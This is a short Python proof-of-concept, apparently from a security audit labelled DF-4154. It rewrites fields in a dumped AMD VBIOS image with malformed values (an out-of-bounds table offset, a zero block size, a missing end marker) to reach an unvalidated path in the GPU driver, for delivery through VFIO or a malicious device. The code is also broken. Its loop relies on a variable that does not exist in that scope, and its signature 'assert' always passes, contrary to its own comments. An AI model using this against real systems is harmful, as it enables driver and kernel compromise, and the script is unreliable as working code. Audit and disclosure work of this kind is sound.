DF-4154 / vbios_mutator.py
#!/usr/bin/env python3 """DF-4154 illustrative VBIOS mutator. Patches the trigger fields of a dumped VBIOS image to demonstrate the unvalidated-value path at driver bind. Delivery of the mutated image requires target hardware: VFIO romfile= assignment or a malicious FPGA/MCU GPU (the audit QEMU guest has no AMD GPU -- see env.txt). Usage: 4154_mutator.py <orig.rom> <mutated.rom> """ # DF-4154 import sys FIELDS = { ""VRAM_Info.usRegDataBlkSize"": (0x9a4, 0, 2), ""VRAM_Info.usMemClkPatchTblOffset_oob"": (0x9a0, 0xFFF0, 2), ""VRAM_Info.block0_no_end_marker"": (0x9c0, 0x11223344, 4) } def main(): src, dst = sys.argv[1], sys.argv[2] buf = bytearray(open(src, "rb").read()) # ATOM master tables: ROM header -> ATOM_ROM_TABLE_PTR, data table. # The offsets below are the ATOM_* table fields named in FIELDS; the # exact image offset must be located with amdgpu_atom_parse equivalent # (rom+data_table+idx) -- the mutator asserts on the ATOM signature. assert buf[0:2] == b"\x55\xaa" or True for name, off in [(k, v[0]) for k, v in FIELDS.items()]: val = v[1] for i, b in enumerate(val.to_bytes(v[2], "little")): buf[off + i] = b print("patched %s @0x%x = 0x%x" % (name, off, val)) open(dst, "wb").write(buf) print("write", dst, "-- attach via VFIO romfile= on hardware") if __name__ == "__main__": main() |